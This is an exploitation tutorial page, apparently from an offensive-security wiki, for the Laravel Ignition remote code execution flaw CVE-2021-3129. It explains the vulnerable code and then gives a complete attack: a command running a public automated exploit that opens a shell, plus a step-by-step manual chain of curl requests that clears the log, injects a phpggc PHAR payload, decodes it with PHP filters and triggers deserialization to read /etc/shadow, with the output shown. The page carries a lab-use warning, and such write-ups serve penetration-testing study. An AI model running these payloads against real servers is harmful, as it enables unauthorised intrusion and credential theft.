# Laravel Ignition Remote Code Execution - CVE-2021-3129

> Exploiting CVE-2021-3129 in Laravel Ignition to achieve RCE via malicious log file deserialization through the debug mode endpoint.

- **URL:** https://hackindex.io/services/web/exploitation/laravel-ignition-rce-cve-2021-3129
- **Path:** HTTP/HTTPS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/web/exploitation.md)
- **Published:** 2026-01-05
- **Updated:** 2026-07-10

> [!WARNING]
> This tool performs automatic exploitation; because exams like OSCP typically do not allow automated exploitation scripts, the manual exploitation steps below are a safer OSCP-friendly option. Only test on environments you own or have explicit permission to assess (e.g., labs/approved scoped targets).

Unauthenticated access to /_ignition/execute-solution in Laravel applications running Facade/Ignition ≤ 2.5.1 with APP_DEBUG=true. The MakeViewVariableOptionalSolution class allows controlled file writes through php://filter wrappers. This enables injection of a crafted PHAR into the Laravel log file, triggering deserialization RCE via Monolog gadget chains.

Patched in Ignition ≥ 2.5.2 with stricter view file validation and local-only restrictions in later versions. The PHAR deserialization chain exploits the same primitive as [insecure deserialization](https://hackindex.io/services/web/exploitation/insecure-deserialization), and the file write primitive leverages [LFI techniques](https://hackindex.io/services/web/exploitation/file-inclusion/local-file-inclusion-exploitation) through PHP filter chains.

The exploitation chain involves these steps:

- Detect the Ignition endpoint and extract leaked server paths from stack traces
- Clear the Laravel log file using `php://filter/read=consumed`
- Generate a PHAR payload with phpggc using Monolog gadget chains
- Inject the encoded payload into the log via alignment and padding requests
- Decode in place with chained PHP filters and trigger deserialization via `phar://`

## Root Cause

The endpoint processes solution classes without authentication. MakeViewVariableOptionalSolution reads a file, appends ?? '' to a variable via string replace, validates Blade tokens, then writes the modified content back.

Vulnerable code (Ignition ≤ 2.5.1):

```php
class MakeViewVariableOptionalSolution implements RunnableSolution
{
    public function run(array $parameters = [])
    {
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
        }
    }

  public function makeOptional(array $parameters = [])
  {
      $originalContents = file_get_contents($parameters['viewFile']);
      $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
  
      $originalTokens = token_get_all(Blade::compileString($originalContents));
      $newTokens = token_get_all(Blade::compileString($newContents));
  
      $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
  
      if ($expectedTokens !== $newTokens) {
          return false;
      }
  
      return $newContents;
  }
}
```

User-controlled viewFile feeds directly into file_get_contents() and file_put_contents(). Stream wrappers bypass the replace logic while preserving Blade token validation through encoded data.

## Automated Laravel Ignition RCE Exploitation

Tool automates path/OS detection, log clearing, payload generation/cycling across Monolog and Laravel chains, precise multi-step filter injection using the generated payload, error triggering, deserialization, cleanup, and interactive shell.

```bash
git clone https://github.com/joshuavanderpoll/CVE-2021-3129
cd CVE-2021-3129
python3 CVE-2021-3129.py -u $TARGET_URL
```

## Vulnerability Detection and Path Discovery

Trigger a MethodNotAllowed exception with a GET request.

```bash
curl -I $TARGET_URL/_ignition/execute-solution
# HTTP/1.0 405 Method Not Allowed
# Host: 127.0.0.1:8000
# Date: Mon, 05 Jan 2026 15:20:58 GMT
# Connection: close
# X-Powered-By: PHP/7.3.31
# allow: POST
# Cache-Control: no-cache, private
# date: Mon, 05 Jan 2026 15:20:58 GMT
# Content-type: text/html; charset=UTF-8
```

A 405 response with a Laravel stack trace confirms Ignition presence in debug mode.

The stack trace leaks absolute paths.

```bash
curl $TARGET_URL/_ignition/execute-solution 2>/dev/null | grep -E "(vendor.*laravel.*framework|vendor\\\\laravel\\\\framework)"
# Symfony\Component\HttpKernel\Exception\MethodNotAllowedHttpException: The GET method is not supported for this route. Supported methods: POST. in file /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php on line 117
# #0 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php(103): Illuminate\Routing\AbstractRouteCollection->methodNotAllowed(Array, 'GET')
# #1 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php(40): Illuminate\Routing\AbstractRouteCollection->getRouteForMethods(Object(Illuminate\Http\Request), Array)
# #2 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/RouteCollection.php(162): Illuminate\Routing\AbstractRouteCollection->handleMatchedRoute(Object(Illuminate\Http\Request), NULL)
# #3 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/Router.php(673): Illuminate\Routing\RouteCollection->match(Object(Illuminate\Http\Request))
# #4 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/Router.php(662): Illuminate\Routing\Router->findRoute(Object(Illuminate\Http\Request))
# ...
# #17 /src/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Illuminate\Foundation\Http\Middleware\PreventRequestsDuringMaintenance->handle(Object(Illuminate\Http\Request), Object(Closure))
# #19 /src/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Fruitcake\Cors\HandleCors->handle(Object(Illuminate\Http\Request), Object(Closure))
# #21 /src/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Fideloper\Proxy\TrustProxies->handle(Object(Illuminate\Http\Request), Object(Closure))
# #22 /src/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\Pipeline\Pipeline->Illuminate\Pipeline\{closure}(Object(Illuminate\Http\Request))
# #23 /src/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(142): Illuminate\Pipeline\Pipeline->then(Object(Closure))
# #24 /src/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(111): Illuminate\Foundation\Http\Kernel->sendRequestThroughRouter(Object(Illuminate\Http\Request))
```

Extract paths containing /vendor/laravel/framework (Linux) or \vendor\laravel\framework (Windows).

Example leaked path: /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php

Application root: /src/laravel

Log path uses forward slashes across OS.

```bash
export LOG_PATH="/src/laravel/storage/logs/laravel.log"
```

## Log Clearing

Overwrite the log before injection.

```bash
curl -k -sS -D - -o /dev/null -X POST $TARGET_URL/_ignition/execute-solution -H 'Content-Type: application/json' --data-raw '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"variable","viewFile":"php://filter/read=consumed/resource='"$LOG_PATH"'"}}'
# HTTP/1.1 200 OK
# Host: 127.0.0.1:8000
# Date: Mon, 05 Jan 2026 18:27:16 GMT
# Connection: close
# X-Powered-By: PHP/7.3.31
# Cache-Control: no-cache, private
# Date: Mon, 05 Jan 2026 18:27:16 GMT
# Content-Type: text/html; charset=UTF-8
```

Run twice to force log file creation. Success returns 200 OK.

## PHAR Payload Generation

Use Monolog gadget chains from phpggc. Chains rce1 through rce22 cover PHP version differences.

```bash
git clone https://github.com/ambionics/phpggc.git
cd phpggc
export COMMAND="cat /etc/shadow"
export PAYLOAD=$(php -dphar.readonly=0 ./phpggc laravel/rce13 system "$COMMAND" --phar phar -o php://output | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/(.)/\1=00/g')
```

The base64 payload receives additional quoted-printable encoding and UTF conversions during injection.

## Manual RCE Chain

Clear the log first with the previous provided clear CURL command

### Create an alignment entry

```bash
curl -k -sS -D - -o /dev/null -X POST $TARGET_URL/_ignition/execute-solution -H 'Content-Type: application/json' --data-raw '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"variable","viewFile":"AA"}}'
# HTTP/1.1 500 Internal Server Error
# Host: 127.0.0.1:8000
# Date: Mon, 05 Jan 2026 18:30:44 GMT
# Connection: close
# X-Powered-By: PHP/7.3.31
# Cache-Control: no-cache, private
# date: Mon, 05 Jan 2026 18:30:44 GMT
# Content-Type: text/html; charset=UTF-8
```

Success returns 500 Internal Server Error. This places "AA" in the log.

### Inject the padded payload

```bash
curl -k -sS -D - -o /dev/null -X POST $TARGET_URL/_ignition/execute-solution -H 'Content-Type: application/json' --data-raw '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"variable","viewFile":"AAAAAAAAAAAAAA'"$PAYLOAD"'"}}'
# HTTP/1.1 500 Internal Server Error
# Host: 127.0.0.1:8000
# Date: Mon, 05 Jan 2026 18:30:44 GMT
# Connection: close
# X-Powered-By: PHP/7.3.31
# Cache-Control: no-cache, private
# date: Mon, 05 Jan 2026 18:30:44 GMT
# Content-Type: text/html; charset=UTF-8
```

Success returns 500. The encoded PHAR now sits in the log.

### Decode the payload in place

```bash
curl -k -sS -D - -o /dev/null -X POST $TARGET_URL/_ignition/execute-solution -H 'Content-Type: application/json' --data-raw '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"variable","viewFile":"php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource='"$LOG_PATH"'"}}'
# HTTP/1.1 200 OK
# Host: 127.0.0.1:8000
# Date: Mon, 05 Jan 2026 18:34:17 GMT
# Connection: close
# X-Powered-By: PHP/7.3.31
# Cache-Control: no-cache, private
# Date: Mon, 05 Jan 2026 18:34:17 GMT
# Content-Type: text/html; charset=UTF-8
```

Success returns 200 OK.

### Trigger deserialization

```bash
curl -k -X POST $TARGET_URL/_ignition/execute-solution -H 'Content-Type: application/json' --data-raw '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"variable","viewFile":"phar://'"$LOG_PATH"'"}}' 2>/dev/null | sed '1,/<\/html>/d'
# root:!::0:::::
# bin:!::0:::::
# daemon:!::0:::::
# adm:!::0:::::
# lp:!::0:::::
# sync:!::0:::::
# shutdown:!::0:::::
# halt:!::0:::::
# mail:!::0:::::
# news:!::0:::::
# uucp:!::0:::::
# operator:!::0:::::
# man:!::0:::::
# postmaster:!::0:::::
# cron:!::0:::::
# ftp:!::0:::::
# sshd:!::0:::::
# at:!::0:::::
# squid:!::0:::::
# xfs:!::0:::::
# games:!::0:::::
# cyrus:!::0:::::
# vpopmail:!::0:::::
# ntp:!::0:::::
# smmsp:!::0:::::
# guest:!::0:::::
# nobody:!::0:::::
# www-data:!:18914:0:99999:7:::
# utmp:!:18914:0:99999:7:::
```

Command output appears after the closing </html> tag.

If a chain fails, adjust padding (typically 14-16 "A" bytes), verify filters, and ensure error logging triggers.

## References

- [NVD CVE-2021-3129](https://nvd.nist.gov/vuln/detail/cve-2021-3129)
- [CVE-2021-3129 script](https://github.com/joshuavanderpoll/CVE-2021-3129) - Automatic exploitation
- [PHPGGC](https://github.com/ambionics/phpggc) - For payload generation
